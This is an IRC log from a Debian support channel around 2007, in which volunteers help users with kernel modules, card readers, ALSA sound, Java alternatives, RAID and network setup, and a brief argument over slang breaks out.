| 13:30.43 | Akira65 | stew, ahh, i've a login |
| 13:30.50 | Akira65 | stew, but with "(initramfs)" |
| 13:30.54 | Akira65 | stew, why ? |
| 13:31.15 | stew | Akira65: did you get any errors? |
| 13:32.13 | Akira65 | stew, no... |
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| 13:36.48 | flami | Hi I found a package I want in the section "etch-backports " (searched on the website ) is that backports.org? Or how can I add that repository ? |
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| 13:37.14 | abrotman | flami: backports.org .. read the instructions |
| 13:37.19 | flami | ok |
| 13:39.43 | themill | !tell flami about backports.org |
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| 13:40.14 | flami | I know backports.org , I jsut didnt know that you can see packages from them on the website ^^ |
| 13:40.16 | chantanito | hi there! |
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| 13:40.26 | Ramattack | Hi! |
| 13:40.29 | RvGaTe^work | Anyone from japan in here ? |
| 13:40.41 | chantanito | does anybody tried to configure the device CB-712/4 on Lenny? |
| 13:40.42 | Ramattack | does anyone know if it's any silence limit on proftpd max concurrent users? |
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| 13:41.00 | chantanito | it's a Card Reader on a Acer Aspire 5610 :) |
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| 13:42.36 | chantanito | lspci says this: http://paste.debian.net/39096 |
| 13:42.40 | flami | CB-712 ? from texas intruments? |
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| 13:43.07 | AussieHatter | how do i change the keyboard layout ? |
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| 13:43.09 | flami | i ahve an acer too , you need a kernel 2.6.19 or later it has a module to run it . |
| 13:43.17 | chantanito | flami: nop, it's ENE Technology.. |
| 13:43.31 | flami | dunno then they use other readers now |
| 13:43.40 | chantanito | flami: take a look at waht lspci says.. |
| 13:43.47 | indraveni | hi |
| 13:43.49 | indraveni | can some one tell me, how we can make a device mount on /dev/video0 |
| 13:43.51 | indraveni | where can i get v4l module |
| 13:43.55 | indraveni | as modprobe v4l is showing me a output saying, FATAL: module v4l NOT FOUND |
| 13:43.57 | indraveni | need help |
| 13:44.14 | marinosi | hello..I have recompiled a custom amd64 kernel , did m-a prepare && m-a autoinstall ipw3945 but when i modprobe ipw3945 it does not find the module..what could be wrong?the module was installed.. |
| 13:44.30 | themill | chantanito: put lspci -n into http://kmuto.jp/debian/hcl/ |
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| 13:44.47 | Ramattack | indraveni, just do modprobe youredvbdevice |
| 13:44.50 | chantanito | themill: right... |
| 13:44.56 | themill | marinosi: depmod -a (but that should have been done already) |
| 13:45.05 | Ramattack | and it should create automatically unless from sarge... I think it occur... |
| 13:45.11 | marinosi | It was done |
| 13:45.12 | flami | chantanito, maybe google , might be necessary to get a new kernel , I just dont use my cardreader and bougth an external one for 10 euros ^^ |
| 13:45.17 | marinosi | I did manually too |
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| 13:45.36 | themill | marinosi: anything in modinfo ipw3945 |
| 13:46.00 | chantanito | flami: i'm using testing on 2.6.22-2-686 |
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| 13:46.22 | chantanito | flami: there must be a patch or something... |
| 13:46.26 | |porta| | How would I partition 2 320gig's well? for a system that is running debian and a ftp and http service... and if I can figure it out mail server? |
| 13:46.37 | marinosi | themill: could not find module..Iwant to note that the first time I installed the module it worked properly..After a reboot it does not find the module |
| 13:46.57 | themill | marinosi: did you reboot into the same kernel as when you ran m-a? |
| 13:47.02 | marinosi | yeap |
| 13:47.04 | flami | I dont know I just know that support for my texas instrument cardreader was added with 2.6.19 |
| 13:47.05 | chantanito | themill: excelente page! |
| 13:47.21 | flami | you need to load a certain module and then you can mount the new device |
| 13:47.45 | chantanito | flami: for sure... |
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| 13:48.22 | flami | so I suggest google to find out if your reader is supported already ^^ |
| 13:48.32 | chantanito | themill: http://kmuto.jp/debian/hcl/index.cgi |
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| 13:49.32 | themill | chantanito: it's not a pastebin, giving me the url doesn't work, unfortunately. |
| 13:49.59 | chantanito | themill: ok, give me a second.. |
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| 13:50.55 | marinosi | themill: http://rafb.net/p/nyIstO20.html |
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| 13:51.04 | marinosi | it is weird , isn't it? |
| 13:51.05 | |porta| | flami: I meen for the partions size... it will be a new install. |
| 13:51.24 | fredl | hi guys, trying to get azureus to work on lenny. org.apache.commons.cli.CommandLineParser not found in gnu.gcj.runtime.SystemClassLoader |
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| 13:53.13 | nicoAMG | señores, tengo un problema con la inicialización de un arreglo de discos basado en software |
| 13:53.22 | themill | !es |
| 13:53.22 | dpkg | Hispanohablantes: Por favor /join #debian-es, alli obtendran mas ayuda. Spanish Speakers: Please /join #debian-es, there you will get much more help. |
| 13:53.33 | nicoAMG | Hello. |
| 13:53.37 | AussieHatter | i've just come to a machine where the keyboard layout is different, anyone know how to setup a new keyboard ? |
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| 13:53.42 | chantanito | themill: http://paste.debian.net/39097 |
| 13:54.10 | marinosi | I ll try a make-kpkg modules-image to see |
| 13:54.18 | themill | marinosi: is the module in the right place after all that? it should be in /lib/modules/$(uname -r)/kernel/drivers/net/wireless/ipw3945.ko |
| 13:54.19 | nicoAMG | I need some help to fix a trouble with software RAID |
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| 13:54.49 | chantanito | themill: it says something 'bout yenta_socket and sdhci driver.. |
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| 13:55.24 | marinosi | themill: not it is not in that directory |
| 13:55.25 | marinosi | ! |
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| 13:56.13 | nicoAMG | The comtuter has two Serial ATA drives and several md partitions, two of then as LV |
| 13:56.24 | zamuro | nicoAMG: Coño... Nunca te fijas en qué canal estás xD |
| 13:56.25 | flami | chantanito, I think your reader might not be supported , for mine i need the yenta driver too but the reader has a driver called : tifm_7xx1 |
| 13:56.35 | nicoAMG | No, im trilled NOW |
| 13:56.42 | themill | chantanito: yes, the media cards are commonly supported by sdhci. the module mmc_block will give access to (some) media cards. If ti's supported at all. |
| 13:56.48 | marinosi | themill: brb , just rebooting to see if make-kpkg modules_image |
| 13:56.49 | nicoAMG | My system is DOWN |
| 13:56.55 | marinosi | corrected the problem |
| 13:57.06 | themill | AussieHatter: under X or console? |
| 13:57.30 | zamuro | nicoAMG: Nice... Any _real_ problem we can help you with? |
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| 13:58.27 | fredl | Hmm. |
| 13:59.10 | chantanito | themill: sorry, but where can i find such module? in m-a? |
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| 13:59.16 | nicoAMG | I need to restore the md configuration to get up and runnig actomatically the MD devices |
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| 14:00.04 | fredl | When I do /usr/sbin/updat-alternatives --display java... |
| 14:00.14 | themill | chantanito: it's in the mainline kernel for 2.6.18 (default etch kernel) |
| 14:00.20 | fredl | it appears that gcj java is the default. |
| 14:00.46 | fredl | how do I change that to use the java-6-sun JRE? |
| 14:00.51 | chantanito | themill: so i just have to add it to /etc/modules? |
| 14:01.17 | fredl | there's so many things that don't work right now :/ |
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| 14:02.17 | themill | fredl: do you have java6 installed? |
| 14:02.26 | fredl_ | looks like it themill. |
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| 14:02.48 | fredl_ | (just walked upstairs to smoke a ciggie:) |
| 14:02.54 | themill | chantanito: that should be enough. It's probably worth experimenting with modprobe to see if it works first. This is all pretty new stuff. |
| 14:03.20 | chantanito | themill: thanks! |
| 14:03.33 | themill | fredl_: You can either wade through the different alternatives with --config or use the package galternatives to do it graphically. |
| 14:03.37 | chantanito | themill: so i'm trying new stuff, that's kind of exciting! |
| 14:03.38 | fredl_ | hey isn't there some P2P client that runs like a daemon and can be controlled from a web interface? |
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| 14:04.15 | fredl_ | That may be a much better choice than trying to get azureus to work with all the Java troubles. |
| 14:04.30 | fredl_ | I just forgot what that things is called. |
| 14:04.50 | markcube | utorrent :p |
| 14:04.51 | markcube | via wine |
| 14:04.55 | markcube | works perfectly |
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| 14:05.54 | fredl_ | no there was another thing I tried setting up earlier when I still ran Ubuntu |
| 14:05.55 | Ramattack | does anyone know about the silent limit of proftpd to 100 users? |
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| 14:06.14 | marinosi | themill: nothing:S |
| 14:06.31 | marinosi | have you got any idea why m-a does not install the module? |
| 14:06.48 | fredl_ | oh utorrent does seem to do that indeed markcube. But I think there's also a Linux app that does the same thing. |
| 14:07.34 | themill | is it somewhere else under /lib/modules? |
| 14:09.04 | marinosi | no i did grep -ir ipw3945.ko and nothing |
| 14:09.14 | marinosi | (in /lib/modules) |
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| 14:09.28 | nicoAMG | zamuro: Now i need to check and fix manually the md configuration /etc/mdadm/mdadm.conf |
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| 14:09.40 | themill | marinosi: ahh... try find /lib/modules -name ipw3945.ko |
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| 14:10.35 | fredl_ | hmm I wonder if it was torrentflux that I'm thinking about. Anybody have that running? |
| 14:10.45 | marinosi | themill: again nothing |
| 14:11.08 | marinosi | well I put it manually right now , and it works.. |
| 14:11.10 | Hoxzer | <PROTECTED> |
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| 14:11.15 | marinosi | It is not the proper way |
| 14:11.18 | nicoAMG | How to enable automatically startup of MD partitions at system startup? |
| 14:11.22 | marinosi | but what else to do? |
| 14:11.23 | Hoxzer | fredl_: running TF b4rt (modification of it) |
| 14:11.24 | marinosi | :-P |
| 14:11.27 | fredl_ | Hoxzer - any good experience with it? |
| 14:11.28 | themill | marinosi: what do you mean "put it manually right now" |
| 14:11.31 | marinosi | cp |
| 14:11.38 | themill | from where? |
| 14:11.43 | Borbus | Is there a web browser out there that is standards compliant but completely intolerant of all errors? |
| 14:11.56 | marinosi | downloaded the sources , build agaain the module |
| 14:11.59 | Hoxzer | fredl_: well, sometimes torrents just die but they show alive in the UI. |
| 14:11.59 | themill | Borbus: less |
| 14:12.01 | marinosi | and then cp'd |
| 14:12.08 | abrotman | Borbus: you mean you want it to tell you if the HTML is wrong ? |
| 14:12.10 | Hoxzer | fredl_: but it is best web interface I have seen |
| 14:12.13 | marinosi | without m-a |
| 14:12.14 | themill | marinosi: horrible but effective, I guess. |
| 14:12.32 | marinosi | yes it is horrible..I hope the kernel can see it after a reboot |
| 14:12.36 | Borbus | abrotman: Well.. just not render broken xhtml |
| 14:12.38 | abrotman | !info amaya etch |
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| 14:12.43 | marinosi | and FWIW I am going to check that :-P BRB |
| 14:12.45 | abrotman | eh .. |
| 14:12.53 | fredl_ | Hoxzer - Hmm. I'll give it a spin. I like being able to run that on my server that's always on and initiate torrents from my desktop that's not always on. |
| 14:12.54 | themill | marinosi: if you look inside the package with mc, what do you see? |
| 14:13.03 | Borbus | Firefox etc. are all extremely tolerant of errors |
| 14:13.05 | abrotman | oh cute .. notin etch |
| 14:13.27 | Borbus | themill: what is less? |
| 14:13.34 | themill | Borbus: man 1 less |
| 14:13.46 | themill | Borbus: there's no such thing at present. |
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| 14:14.24 | Borbus | Hmm |
| 14:14.28 | abrotman | amaya is maybe the closest .. and it's not in etch |
| 14:14.33 | Borbus | I wish W3C made a reference browser.. |
| 14:14.40 | AaronMT | Hi, does anyone have a mirror for the weekly's? ie (http://cdimage.debian.org/cdimage/weekly-builds/i386/iso-dvd/), I am only getting 10kb/sec |
| 14:14.40 | abrotman | !info amaya sid |
| 14:14.41 | themill | Borbus: there is no defined way of how to cope with badly coded html. |
| 14:14.47 | dpkg | amaya: (Web Browser, HTML Editor and Testbed for Draft W3C standards), section web, is optional. Version: 9.54~dfsg.0-1 (sid), Packaged size: 2224 kB, Installed size: 6564 kB |
| 14:14.53 | abrotman | themill: that's his point .. he doesn't want it to display |
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| 14:15.01 | themill | Borbus: amaya is a test browser. |
| 14:15.12 | themill | abrotman: but that's not part of the standard either. |
| 14:15.26 | abrotman | themill: but displaying broken HTML is ? |
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| 14:15.44 | Borbus | Does Amaya fail on all errors? |
| 14:15.48 | marinosi | themill: works fine ..thanks! |
| 14:16.08 | abrotman | Borbus: you'd have to read the docs .. |
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| 14:16.56 | themill | abrotman: trying to recover in whatever way you see fit is part of the standard, so yes, displaying broken html is allowed. |
| 14:17.28 | themill | Borbus: the html tidy plugin for firefox/iceweasel is handy -- it's not a validator, but it might be as close as you're going to get. |
| 14:18.26 | themill | abrotman: defining how to deal with badly formed html is what the html 5 spec is about. Ugly, but that's where it is... |
| 14:18.54 | Borbus | Hmm.. is there something like that but with w3c's xml engine instead of SGML? |
| 14:19.44 | DocPlatypus | themill: the whole point of a standard is so it is compiled with and you don't *have* badly formed whatever... there's a reason that the W3C's specifications say that how a user agent handles something not specified is outside the scope of the standard |
| 14:20.39 | DocPlatypus | obviously XHTML isn't the direction we're going... but adding <audio> and <video> smacks of the same kind of thinking that got us <blink> and <marquee> |
| 14:20.46 | themill | DocPlatypus: I know that, you know that, but tell that to all the people coding crappy html out there... who may even be relying on how browsers currently deal with broken html or css to get their pages to display properly. |
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| 14:21.02 | bintut | hello all.. |
| 14:21.08 | Borbus | IMO, every browser should fail on ALL errors, being tolerant only encourages tag soup... |
| 14:21.14 | bintut | on what package does the /etc/kernel-img.conf file belongs to? |
| 14:21.29 | Borbus | Ther's no reason to have poorly formed XML these days |
| 14:21.34 | themill | DocPlatypus: And add M$ high on the list of ppl to tell that too as none of their products produce even vaguely correct html. |
| 14:21.48 | DocPlatypus | themill: relying on error recovery was never a good idea and never will be |
| 14:21.53 | chantanito | themill: something must be wrong... when i make dmesg | grep Yenta it says: http://paste.debian.net/39101 |
| 14:21.55 | DocPlatypus | themill: p-e-o-p-l-e. six letters. |
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| 14:22.30 | helo | what is the best way to see if a cd i just burned from an .iso has any errors on it? |
| 14:22.38 | themill | Borbus: but who would want a browser that doesn't display half of the world's web pages properly? No-one would, they'd use the one that was fault-tolerant. Life's a bitch, but that's how it works. |
| 14:22.47 | DocPlatypus | helo: md5sum cd.iso ; md5sum /dev/cdrom |
| 14:23.04 | DocPlatypus | not the prettiest way to do it mind you |
| 14:23.06 | themill | helo, DocPlatypus: that won't necessarily work, it can give false negatives. |
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| 14:23.19 | AaronMT | Are there no mirrors for /cdimage/weekly-builds/i386/iso-cd|dvd ? |
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| 14:23.34 | themill | Borbus, DocPlatypus: I'm in full agreement with both of you about standards compliance. I'm also being realistic about the intartubes as we know them... :) |
| 14:23.38 | bintut | on what package does the /etc/kernel-img.conf file belongs to? |
| 14:23.41 | DocPlatypus | if the md5sum fails then you could always mount the CD and do an md5sum of each file versus what's in the image |
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| 14:23.52 | PythonNinja | hey.... i'm getting a "Invalidating stale software suspend images" message when i boot, which just hangs, how do i override? kernel option to pass to grub? |
| 14:23.55 | DocPlatypus | themill: "intartubes"? |
| 14:24.03 | DocPlatypus | how about speaking English, not lamerspeak |
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| 14:24.23 | asg | bintut: /msg dpkg find |
| 14:24.38 | asg | bintut: er, /msg dpkg search |
| 14:24.44 | themill | DocPlatypus: lamerspeak? perhaps you should talk to certain US senators about what makes the internet work. |
| 14:24.53 | DocPlatypus | it really cannot be that hard to put down the beer, turn off King of the Hill, and type like someone who actually has an IQ higher than room temperature in Fahrenheit |
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| 14:25.22 | themill | DocPlatypus: if that was an insult, you need to work harder at it. Or just go away. |
| 14:25.24 | bintut | # dpkg -S /etc/kernel-img.conf |
| 14:25.25 | bintut | dpkg: /etc/kernel-img.conf not found. |
| 14:25.31 | AaronMT | Ugh the hops from Canada to Sweden are timing out from cdimage.debian.org, there's gotta be mirrors? |
| 14:25.35 | DocPlatypus | themill: it's not an insult, just my opinion |
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| 14:25.42 | kapowaz | hi there. I'm getting a mysterious error when I try to do an apt-get install: http://pastie.caboo.se/104902 |
| 14:25.47 | asg | bintut: then it's probably generated at post/pre inst. |
| 14:25.48 | abrotman | AaronMT: what are you looking for ? |
| 14:25.51 | kapowaz | any clues as to what that might mean? |
| 14:26.00 | valdyn | bintut: that's ok, its not in any package |
| 14:26.02 | AaronMT | A mirror for the weekly's |
| 14:26.05 | DocPlatypus | themill: when you show you're too lazy to type out six-letter words, you're insulting yourself, I don't have to |
| 14:26.40 | bintut | valdyn, the problem is i can't install a linux-image from a chrooted directory after my bootstrap |
| 14:26.54 | valdyn | bintut: and.. ? |
| 14:26.56 | abrotman | AaronMT: ask #debian-boot on irc.oftc.net ... but i don't think so |
| 14:27.04 | DocPlatypus | !ppl |
| 14:27.04 | dpkg | I'd like to buy two vowels please. I'll have an E and an O. [If you mean people, it's not that hard to type.], or <Guerin> parts per litre? how many? |
| 14:27.20 | themill | DocPlatypus: Since you're unable to capitalise words correctly and unable to form coherent sentences either, I would recommend that you introduce yourself to the kettle before calling the pot black. |
| 14:27.28 | DocPlatypus | !intartubes |
| 14:27.29 | kapowaz | anybody able to assist with one or both of: a.) post-install problems with snmp or b.) problems creating self-signed certificates with openssl? |
| 14:27.36 | abrotman | DocPlatypus: stop with the bot |
| 14:27.50 | DocPlatypus | sorry, just wanted to see if it had a factoid for that as well |
| 14:28.01 | abrotman | DocPlatypus: so msg or #debian-bots .. |
| 14:28.03 | asg | DocPlatypus: /msg dpkg <foo> |
| 14:28.51 | valdyn | bintut: no error messsage -> no help |
| 14:28.57 | DocPlatypus | themill: at least I can spell and type in English. |
| 14:29.04 | bintut | valdyn, that's it.. from my "aptitude install linux-image-2.6.18-5-amd64" command, i got an error where it looks for the /etc/kernel-img.conf file because i don't have it on my bootstrapped system |
| 14:29.20 | abrotman | DocPlatypus: stop it |
| 14:29.22 | valdyn | bintut: aptitude install grub kernel-package |
| 14:29.22 | bintut | Errors were encountered while processing: |
| 14:29.22 | bintut | <PROTECTED> |
| 14:29.22 | bintut | E: Sub-process /usr/bin/dpkg returned an error code (1) |
| 14:29.23 | abrotman | erm .. drop it :) |
| 14:29.32 | AaronMT | !ontopic |
| 14:29.33 | DocPlatypus | I'll leave it at that |
| 14:29.38 | themill | DocPlatypus: please send your arguments to /dev/null where they will be fully appreciated. |
| 14:29.40 | valdyn | bintut: i dont know if that will create that file, but there's an example in /usr/share/doc/kernel-package/examples/sample.kernel-img.conf |
| 14:29.45 | bintut | valdyn, grub and kernel-pacakge are installed already |
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| 14:30.10 | bintut | valdyn, yeah, i checked the http://packages.debian.org/ site before i came here to ask |
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| 14:31.16 | fredl_ | Hoxzer, I just installed torrentflux, you have any clue where to find some debugging info? |
| 14:31.25 | valdyn | bintut: are the initramfs-tools installled too btw? |
| 14:32.14 | bintut | valdyn: yes |
| 14:32.15 | valdyn | bintut: and here's an actually working example, the one of this system: http://valdyn.us.to/~valdyn/kernel-img.conf |
| 14:33.15 | bintut | valdyn: hopefully, creating the file should work |
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| 14:34.10 | helo | what is the best way to break a debian machine? |
| 14:34.20 | Judgen_ | hammer? |
| 14:34.20 | helo | psychologically, of course |
| 14:34.28 | DocPlatypus | helo: depends on how spectacular you want the failure to be |
| 14:34.38 | Lycus | Other than mess with the repos? |
| 14:34.43 | helo | MPD, OCD, the works |
| 14:34.43 | DocPlatypus | swap on a hard drive with bad sectors is a good one |
| 14:34.57 | Lycus | Use Ubuntu Dapper Drake and Debian Sarge distros together! |
| 14:35.01 | Ranpha1 | My soundscard is installed by alsaconf but still i got no sound |
| 14:35.03 | abrotman | write to random sectors ? |
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| 14:35.17 | helo | heh nice |
| 14:35.35 | wols_ | !tell Ranpha1 about alsa checklist |
| 14:35.37 | stew | helo: why do you want to break a debian machine? |
| 14:35.38 | ldrada | How do I install sshd on my 4.0r1? :( |
| 14:35.45 | stew | ldrada: aptitude install openssh-server |
| 14:35.53 | ldrada | Ah! <3 Thanks. |
| 14:35.59 | helo | i absolutely do not, i was just making a list of things to avoid doing |
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| 14:36.50 | valdyn | using nvidias installer and debians nvidia package at the same time is an insanely popular method |
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| 14:36.55 | valdyn | but that only breaks gfx |
| 14:37.14 | helo | yeah that is nasty :/ |
| 14:37.27 | helo | i was able to get the nvidia installer to remove itself luckily |
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| 14:38.21 | Ranpha1 | wols_ did that and nada ....no sound |
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| 14:39.40 | ldrada | stew: Being a FreeBSD user myself, having to install Debian at work makes me feel like a Windows user. |
| 14:40.02 | ldrada | I'm clueless. |
| 14:40.56 | stew | ldrada: "apt-cache search sshd" would have found this one for you. you might want to read the debian reference (/msg dpkg reference) or install the apt-howto package and read that. feel free to keep asking quesitons though |
| 14:41.59 | ldrada | Thanks. Isn't there a "freebsd handbook"-like guide on the net? I feel bad asking questions if there's a comprehensive walkthrough available. |
| 14:42.13 | petemc | !reference |
| 14:42.13 | dpkg | The Debian Reference will answer most of your questions about Debian. Latest version at qref.sourceforge.net, or http://www.debian.org/doc/manuals/reference/#contents . Read it after installing Debian, and before asking for support, as it is the closest thing Debian has to a manual. You can install it too, the packagename is "debian-reference", 'apt-get install debian-reference'. |
| 14:42.23 | ldrada | Ah, thanks. |
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| 14:42.51 | surviver | can anyone tell me again what the command was to see how much hard drive space has been used? |
| 14:42.57 | stew | surviver: df |
| 14:42.57 | petemc | df -h |
| 14:43.00 | ldrada | surviver: df -h |
| 14:43.01 | surviver | ty |
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| 14:43.25 | Ranpha1 | I tried the alsa checklist but i still have no sound |
| 14:43.26 | stew | ldrada: there, see, you aren't a complete newbie :) |
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| 14:44.04 | stew | Ranpha1: does "cat /proc/asound/cards" list a card? |
| 14:45.07 | surviver | and anyone can tell me where i could change to keyboard layout? |
| 14:45.15 | stew | surviver: /msg dpkg keymap |
| 14:45.19 | surviver | ty |
| 14:45.54 | Ranpha1 | stew yes a sis si7012 AC97 on irq 233 |
| 14:46.10 | rahul | :\ |
| 14:46.14 | rahul | this is really annoying |
| 14:46.41 | stew | Ranpha1: are the volumes for Master and PCM both turned up AND unmuted in alsamixer? |
| 14:46.44 | rahul | my inbox is going to fill up, and it'll take me hours to sort through the spam if I can't get gnus to stop segfaulting xemacs! |
| 14:46.46 | ldrada | stew: I just dont know anything which is debain-specific and isn't like in freebsd. =) |
| 14:47.28 | Ranpha1 | stew yup everthing is on and umuted..... |
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| 14:47.39 | ldrada | Bye. *afk* |
| 14:47.40 | surviver | stew, how do i use it? cause it gives back see ;: dpkg-help ... |
| 14:48.01 | fredl_ | argh all the torrentspy URL's I see in torrentflux seem to be returning Error getting the file (download.asp.torrent), Could be a Dead URL |
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| 14:48.48 | stew | dpkg: tell surviver about keymap |
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| 14:50.00 | surviver | !dpkg keymap |
| 14:50.17 | surviver | ah k thx |
| 14:50.17 | abrotman | surviver: /msg dpkg keymap |
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| 14:53.19 | PythonNinja | anyone? |
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| 14:54.17 | stew | Ranpha1: how are you testing? |
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| 14:54.41 | Danielss89 | hi, which program should i install if i want sftp over ssh2? |
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| 14:55.42 | albert1 | hey there |
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| 14:57.55 | Ranpha1 | Stew got the problem sound card works but the driver puts the sound to a different output. It uses another plugin then the standard on. |
| 14:57.55 | stew | Danielss89: openssh-server on the server and openssh-client on the client |
| 14:58.36 | stew | Ranpha1: is the output possibly configuable in alsamixer? |
| 14:58.37 | albert1 | i am one of the main devels of openlierox (openlierox.sf.net) and i got a deb-file from a user and i would like to know if it works everywhere. can perhaps somebody test it? -> http://sourceforge.net/project/showfiles.php?group_id=180059 (openlierox_0.57-beta3.deb) |
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| 14:59.58 | Ranpha1 | Stew no clue but it's a mayor bug in the i810 driver i read a article about it on linuxquestions. It's like the wires are crossed |
| 15:00.47 | stew | Ranpha1: what makes you think it is a bug at all? |
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| 15:02.02 | Ranpha1 | stew that i dunno i'm not a programmeur but several ppl reported the sound-out-of-headjack-phone on differents forum |
| 15:02.37 | stew | Ranpha1: and what makes you think this is a bug and not a misconfiguration? |
| 15:02.53 | PythonNinja | sooo... anyone know what to do about the "Invalidating stale software suspend images" thing? |
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| 15:03.26 | stew | albert1: is the source for the debian package available/ |
| 15:03.51 | albert1 | yes, also at the given link |
| 15:04.00 | albert1 | stew: you also have the svn access there |
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| 15:04.45 | Ranpha1 | stew well because i followd the basis alsaconf ...and then i didn't configurated anything. BTW if it is misconfiguration? then i like to know how to reconfigure everthing |
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| 15:06.09 | stew | albert1: yes, i looked there and didn't see the sources for the debian package |
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| 15:06.11 | PythonNinja | sooo... anyone know what to do about the "Invalidating stale software suspend images" thing? |
| 15:06.25 | stew | Ranpha1: it would be configured via alsamixer |
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| 15:07.15 | Ranpha1 | stew : how ? i can only mute unmute and raise or lower the volume |
| 15:07.32 | stew | Ranpha1: those are the only controls in alsamixer? |
| 15:07.35 | DocPlatypus | PythonNinja: I don't see what there would be to do about it. means exactly what it says |
| 15:07.50 | DocPlatypus | and it would be normal behavior |
| 15:07.52 | albert1 | stew: you mean the source code? it's based on the OpenLieroX_0.57_beta3.src.tar.bz2 file. some user compiled this, packed it as a deb and sent me the deb |
| 15:08.04 | stew | albert1: here's what linda has to say: http://vireo.org/tmp/openlierox_0.57-beta3.linda |
| 15:08.09 | albert1 | stew: but sadly i don't anything more than this |
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| 15:08.34 | stew | albert1: yes, but that source code is incomplete. i couldn't rebuild the .deb from that sourcecode, since that source code contains none of the debian specific bits |
| 15:08.42 | PythonNinja | DocPlatypus: but it hangs on that message, is there a way i can tell it not to do it at boot time so i can sort it out manually? |
| 15:08.55 | Ranpha1 | stew yeah check the man pages but not much in reconfigureing the outputs |
| 15:09.08 | DocPlatypus | Pyromancer: it's hanging on whatever it's doing *after* that. |
| 15:09.12 | DocPlatypus | most likely |
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| 15:09.20 | PythonNinja | PythonNinja you mean? |
| 15:09.22 | PythonNinja | haha |
| 15:09.48 | albert1 | stew: the problem is i don't know much about debian as i myself use gentoo. i would realy prefer to make a deb by myself next time but i haven't found the time to get into deb-files |
| 15:09.49 | stew | Ranpha1: i already know how to reconfigure the outputs on my soundcard |
| 15:09.58 | stew | albert1: /msg dpkg nm |
| 15:10.10 | PythonNinja | DocPlatypus: possibly, but i've never seen this message before, and it's never hung at boot time before, so i'm suspecting they are connected... either way... what should i do to boot the system? |
| 15:10.22 | PythonNinja | ahhh well that's handy |
| 15:10.33 | stew | albert1: this .deb doesn't even contain a license |
| 15:10.33 | PythonNinja | just thought to ctrl+c, killed the thingy and now we're off :) |
| 15:10.42 | albert1 | stew: perhaps here is somebody who can help me with this? or can you give me a tutorial how i can create a deb (on a non-debian system) |
| 15:11.11 | DocPlatypus | PythonNinja: maybe try booting into single user mode? |
| 15:11.17 | stew | albert1: /msg dpkg maint-guide |
| 15:11.33 | PythonNinja | what's the flag for runlevel 1 ? how do i tell grub to do that? |
| 15:11.33 | DocPlatypus | maybe try waiting a couple minutes in case it's just slow? |
| 15:11.41 | PythonNinja | DocPlatypus: i waited for 60 mins |
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| 15:12.17 | PythonNinja | and when i killed with ctrl+c it went straight on, i let it boot and am now restarting cleanly with forced fsck to see if that fixes it |
| 15:12.24 | stintel | moin all. |
| 15:12.47 | albert1 | stew: yes but that seems for me to be a lot of work :) isn't there a easy way to do this in 5 minutes or so? |
| 15:12.53 | Ranpha1 | Stew okay can you tell me then? |
| 15:12.57 | stintel | everyone ever had a problem with Debian Lenny when you press F1 that is floods you with Yelp instances? (like opening 97 yelp windows) |
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| 15:13.05 | stew | Ranpha1: its a control in alsamixer for me |
| 15:13.06 | stintel | s/is/it/ |
| 15:13.23 | stew | Ranpha1: i hit right arrow to select that control, and hit up arrow or down arrow |
| 15:13.38 | stew | albert1: no, there isn't |
| 15:14.11 | stew | albert1: if you want someone to package this software for debian, you can file an RFP: /msg dpkg rfp |
| 15:14.41 | stintel | uhm, s/everyone/anyone/ |
| 15:14.52 | albert1 | stew: ok thanks |
| 15:15.24 | amirf_ | hi, how can i (as root) change ownership for more then one file in the same folder ? |
| 15:15.43 | Ranpha1 | stew so you select master and then up or down? but that is the volume right? |
| 15:15.45 | stew | amirf_: chown newowner file1 file2 file3 |
| 15:16.04 | stew | Ranpha1: yes, that is volume. i'm asking if there are any other controls in there that might affect which output is used |
| 15:16.13 | amirf_ | stew:10x i'll try it now |
| 15:16.32 | Ranpha1 | Stew btw alsamixer see two masters outputs |
| 15:16.51 | Ranpha1 | stew and no no other control to affect the output which i know about |
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| 15:17.39 | stew | Ranpha1: what does "uname -r" say? |
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| 15:19.31 | Ranpha1 | stew 2.6.18-5-686 |
| 15:19.46 | PythonNinja | hmmmm.... i'm still getting this stupid message about the stale images... how do i scrub them manually?? i'm guessing they were created with something similar to apm -s |
| 15:20.13 | tarzeau | abrotman: have you seen this yet? http://www.happypenguin.org/show?Jammer%20-%20The%20Gardener |
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| 15:20.28 | stew | Ranpha1: you might try a newer kernel from backports.org which would have a newer version of alsa, or compiling a newer alsa for your current kernel using module-assistant |
| 15:21.14 | abrotman | tarzeau: nope |
| 15:21.32 | abrotman | tarzeau: says it's GPL though ... |
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| 15:22.55 | Ranpha1 | stew i got it. I slammed some buttons on bingo....itwas the rear jacket which i could change to front and rear....and got the ixer output on it |
| 15:23.03 | albert1 | ok, before i fill in a WNPP/RFP, perhaps there is already somebody here at the channel who is interested in maintaining a deb-package for the game openlierox? (http://openlierox.sourceforge.net ) |
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| 15:24.45 | stew | albert1: a wnpp bug should be filed in any case, in order to avoid duplication of effort |
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| 15:24.54 | Haris | Hello guys |
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| 15:25.03 | stew | albert1: if someone wants to maintain it, they can rename the RFP to an ITP |
| 15:25.04 | Haris | I installed etch without the desktop option on top from packages |
| 15:25.17 | Haris | As a result I believe hasn't installed X11 |
| 15:25.29 | albert1 | stew: ok then i fill in one now |
| 15:25.32 | wols_ | !install x |
| 15:25.32 | dpkg | hmm... install xf4 is apt-get install read-edid (386 only) mdetect discover; apt-get install xorg (x-window-system-core in woody, sarge and earlier), plus whatever window manager you like, etc., or ask me about <set up x> or <drxx> or <xorg> |
| 15:25.38 | PythonNinja | apt-get install xserver-xorg |
| 15:25.38 | Haris | How do I configure network interfaces? ..secondly how can I do it manually? |
| 15:25.47 | PythonNinja | apt-get install xfonts-base |
| 15:25.49 | wols_ | !tell Haris about interfaces |
| 15:25.50 | stew | Haris: "man interfaces" |
| 15:25.57 | PythonNinja | ifconfig <interface> options |
| 15:26.06 | Haris | only lo is about |
| 15:26.13 | Haris | the other two have vanished |
| 15:26.20 | wols_ | Haris: check what NIC you have and if its driver is laoded |
| 15:26.21 | Haris | although they were detected during install |
| 15:26.31 | wols_ | Haris: ifconfig -a |
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| 15:28.10 | Haris | 1) it detects network interfaces during install, but doesn't give me an option to cnofigure them (the 2nd NIC) |
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| 15:28.26 | Haris | 2) After install it doesn't activate the interface it had configured during install, only lo is up |
| 15:28.27 | stew | Haris: man interfaaces |
| 15:28.28 | Haris | wth is this? |
| 15:28.40 | stew | Haris: becuase you haven't setup your interfaces file |
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| 15:30.17 | Haris | this is one place where the rh installer is better. It configures all the NIC interfaces DURING install and brings them up later on |
| 15:30.47 | Haris | does debian have gpm out of the box? |
| 15:30.55 | Haris | I can't find /etc/init.d/gpm |
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| 15:31.19 | \amethyst | Haris: gpm is priority:optional |
